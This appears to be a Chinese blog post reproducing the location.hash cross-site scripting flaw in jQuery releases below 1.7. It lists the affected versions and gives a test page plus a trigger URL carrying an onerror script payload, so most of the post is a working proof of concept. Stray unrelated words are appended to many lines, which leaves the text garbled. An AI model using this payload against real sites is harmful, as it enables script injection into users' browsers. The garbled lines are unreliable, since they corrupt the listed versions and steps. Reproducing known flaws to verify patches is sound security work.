jquery下載地址:https://code.jquery.com/jquery/ html
影響範圍:jquery
版本低於1.7的jQuery過濾用戶輸入數據所使用的正則表達式存在缺陷,可能致使LOCATION.HASH跨站漏洞nginx
已測試成功版本:正則表達式
jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.jsxss
jquery-1.5全部版本ide
jquery-1.4全部版本測試
jquery-1.3全部版本spa
jquery-1.2全部版本3d
測試:code
啓動nginx,並創建index.html頁面,內容以下:
漏洞發現者給的測試代碼:
<html>
<head>
<title>JQuery-xss-test</title>
<script src="https://code.jquery.com/jquery-1.6.1.min.js"></script>
<script>
$(function(){
try { $(location.hash) } catch(e) {}
})
</script>
</head>
<body>
Jquery xss test.
</body>
</html>
訪問地址:
http://localhost/#<img src=/ onerror=alert(/F4ckTeam/)>
測試截圖: